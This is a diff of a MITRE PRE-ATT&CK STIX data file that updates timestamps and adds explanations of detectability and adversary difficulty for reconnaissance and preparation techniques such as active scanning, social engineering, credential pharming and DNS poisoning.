             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "The compromise of unknown vulnerabilities would provide little attack and warning against a defender, rendering it highly challenging to detect.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Finding, attacking, and compromising a 3rd party or closed vulnerability entity is challenging, because those containing the vulnerabilities should be very aware of attacks on their environments have a heightened awareness."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--4aeafdb3-eb0b-4e8e-b93f-95cd499088b4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Compromise of externally facing system",
-            "description": "Externally facing systems allow connections from outside the network as a normal course of operations.  Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Externally facing systems allow connections from outside the network as a normal course of operations.  Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Most DMZs are monitored but are also designed so that if they are compromised, the damage/risk is limited.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: DMZ environments are specifically designed to be isolated because one assumes they will ultimately be compromised by the adversary.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1500,16 +1586,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Most DMZs are monitored but are also designed so that if they are compromised, the damage/risk is limited.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "DMZ environments are specifically designed to be isolated because one assumes they will ultimately be compromised by the adversary."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--7f2d3da6-7e34-44a3-9e7f-905455339726",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Conduct active scanning",
-            "description": "Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: This technique is an expected and voluminous activity when on the Internet.  Active scanning techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute.  The high volume of this activity makes it burdensome for any defender to chase and therefore often ignored.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Various available tools and data sources for scouting and detecting address, routing, version numbers, patch levels, protocols/services running, etc.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1531,14 +1619,16 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This technique is an expected and voluminous activity when on the Internet.  Active scanning techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute.  The high volume of this activity makes it burdensome for any defender to chase and therefore often ignored.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Various available tools and data sources for scouting and detecting address, routing, version numbers, patch levels, protocols/services running, etc."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--51bca707-a806-49bf-91e0-03885b0ac85c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Conduct cost/benefit analysis",
             "description": "Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
             "kill_chain_phases": [
@@ -1573,9 +1663,9 @@
             "id": "attack-pattern--a7c620e5-cbc9-41b2-9695-418ef560f16c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Conduct passive scanning",
-            "description": "Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Generates no network traffic that would enable detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy to do but it requires a vantage point conducive to accessing this data.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1601,16 +1691,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Generates no network traffic that would enable detection.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Easy to do but it requires a vantage point conducive to accessing this data."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--af358cad-eb71-4e91-a752-236edc237dae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Conduct social engineering",
-            "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target.  Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1636,16 +1728,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "No technical means to detect an adversary collecting information about a target.  Any detection would be based upon strong OPSEC policy implementation.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Conduct social engineering",
-            "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target.  Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1671,16 +1765,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "No technical means to detect an adversary collecting information about a target.  Any detection would be based upon strong OPSEC policy implementation.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Conduct social engineering",
-            "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting technical information about a target.  Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1706,16 +1802,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "No technical means to detect an adversary collecting technical information about a target.  Any detection would be based upon strong OPSEC policy implementation.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--b79a1960-d0be-4b51-bb62-b27e91e1dea0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Conduct social engineering or HUMINT operation",
-            "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Assuming an average company does not train its employees to be aware of social engineering techniques, it is not possible to detect the adversary's use unless a highly motivated or paranoid employee informs security.  This assessment flips to a 1 in cases of environments where security trains employees to be vigilant or in specialized industries where competitive intelligence and business intelligence train employees to be highly aware.  Most likely more complex for an adversary to detect as methods move to physical or non traditionally monitored mechanisms (such as phone calls outside of call centers).  Furthermore, the content of such an interaction may be lost due to lack of collection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Assuming an average adversary whose focus is social engineering, it is not difficult for an adversary.  Assuming a HUMINT operation and specialized circumstances, the adversary difficulty becomes 1.   Social engineering can be easily done remotely via email or phone.  In contrast, HUMINT operations typically would require physical contact at some point in the process, increasing the difficulty.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1741,16 +1839,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Assuming an average company does not train its employees to be aware of social engineering techniques, it is not possible to detect the adversary's use unless a highly motivated or paranoid employee informs security.  This assessment flips to a 1 in cases of environments where security trains employees to be vigilant or in specialized industries where competitive intelligence and business intelligence train employees to be highly aware.  Most likely more complex for an adversary to detect as methods move to physical or non traditionally monitored mechanisms (such as phone calls outside of call centers).  Furthermore, the content of such an interaction may be lost due to lack of collection.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Assuming an average adversary whose focus is social engineering, it is not difficult for an adversary.  Assuming a HUMINT operation and specialized circumstances, the adversary difficulty becomes 1.   Social engineering can be easily done remotely via email or phone.  In contrast, HUMINT operations typically would require physical contact at some point in the process, increasing the difficulty."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--f4c5d1d9-8f0e-46f1-a9fa-f9a440926046",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Confirmation of launched compromise achieved",
-            "description": "Upon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Upon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Current commercial tools and sensitive analytics can be used to detect communications to command and control servers or data exfiltration.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Certainty of the confirmation of compromise is not guaranteed unless the adversary sees communication to a command and control server, exfiltration of data, or an intended effect occur.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1776,16 +1876,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Current commercial tools and sensitive analytics can be used to detect communications to command and control servers or data exfiltration.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Certainty of the confirmation of compromise is not guaranteed unless the adversary sees communication to a command and control server, exfiltration of data, or an intended effect occur."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--a425598d-7c19-40f7-9aa3-ac20f0d5c2b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Create backup infrastructure",
-            "description": "Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be obvious to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], commercial storage solutions).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1807,16 +1909,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be obvious to those being attacked.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], commercial storage solutions)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--fddd81e9-dd3d-477e-9773-4fb8ae227234",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Create custom payloads",
-            "description": "A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: It is likely that an adversary will create and develop payloads on inaccessible or unknown networks for OPSEC reasons.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Specialized tools exist for research, development, and testing of virus/malware payloads.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1838,16 +1942,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "It is likely that an adversary will create and develop payloads on inaccessible or unknown networks for OPSEC reasons.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Specialized tools exist for research, development, and testing of virus/malware payloads."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--b355817c-cf63-43b4-94a4-05e9645fa910",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Create implementation plan",
-            "description": "Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1873,16 +1979,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--eacadff4-164b-451c-bacc-7b29ebfd0c3f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Create infected removable media",
-            "description": "Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1904,16 +2012,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Several exploit repositories and tool suites exist for re-use and tailoring."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--ec739e26-d097-4804-b04a-54dd81ff11e0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Create strategic plan",
-            "description": "Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1943,16 +2053,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--38a6d2f5-d948-4235-bb91-bb01604448b4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Credential pharming",
-            "description": "Credential pharming a  form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Credential pharming a  form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Fidelity of networking monitoring must be able to detect when traffic is diverted to non-normal sources at a site level.  It is possible to identify some methods of pharming, but detection capabilities are limited and not commonly implemented.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Although it can be difficult to spoof/redirect content to a hostile service via DNS poisoning or MiTM attacks, current malware such as Zeus is able to successfully pharm credentials and end users are not well-versed in checking for certificate mismatches.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1978,16 +2090,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Fidelity of networking monitoring must be able to detect when traffic is diverted to non-normal sources at a site level.  It is possible to identify some methods of pharming, but detection capabilities are limited and not commonly implemented.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Although it can be difficult to spoof/redirect content to a hostile service via DNS poisoning or MiTM attacks, current malware such as Zeus is able to successfully pharm credentials and end users are not well-versed in checking for certificate mismatches."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--76c9e8cb-52e1-4ddc-80d4-5f7231842e06",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DNS poisoning",
-            "description": "DNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "DNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Tracking multiple DNS infrastructures will likely require multiple tools/services, more advanced analytics, and mature detection/response capabilities in order to be effective.   Few defenders demonstrate the mature processes to immediately detect and mitigate against the use of this technique.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary poisons DNS entry to redirect traffic designated for one site to route to an adversary controlled resource.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2017,16 +2131,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Tracking multiple DNS infrastructures will likely require multiple tools/services, more advanced analytics, and mature detection/response capabilities in order to be effective.   Few defenders demonstrate the mature processes to immediately detect and mitigate against the use of this technique.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary poisons DNS entry to redirect traffic designated for one site to route to an adversary controlled resource."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--7823039f-e2d5-4997-853c-ec983631206b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DNSCalc",
-            "description": "DNS Calc is a technique in which the octets of an IP address are used to calculate the port  for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
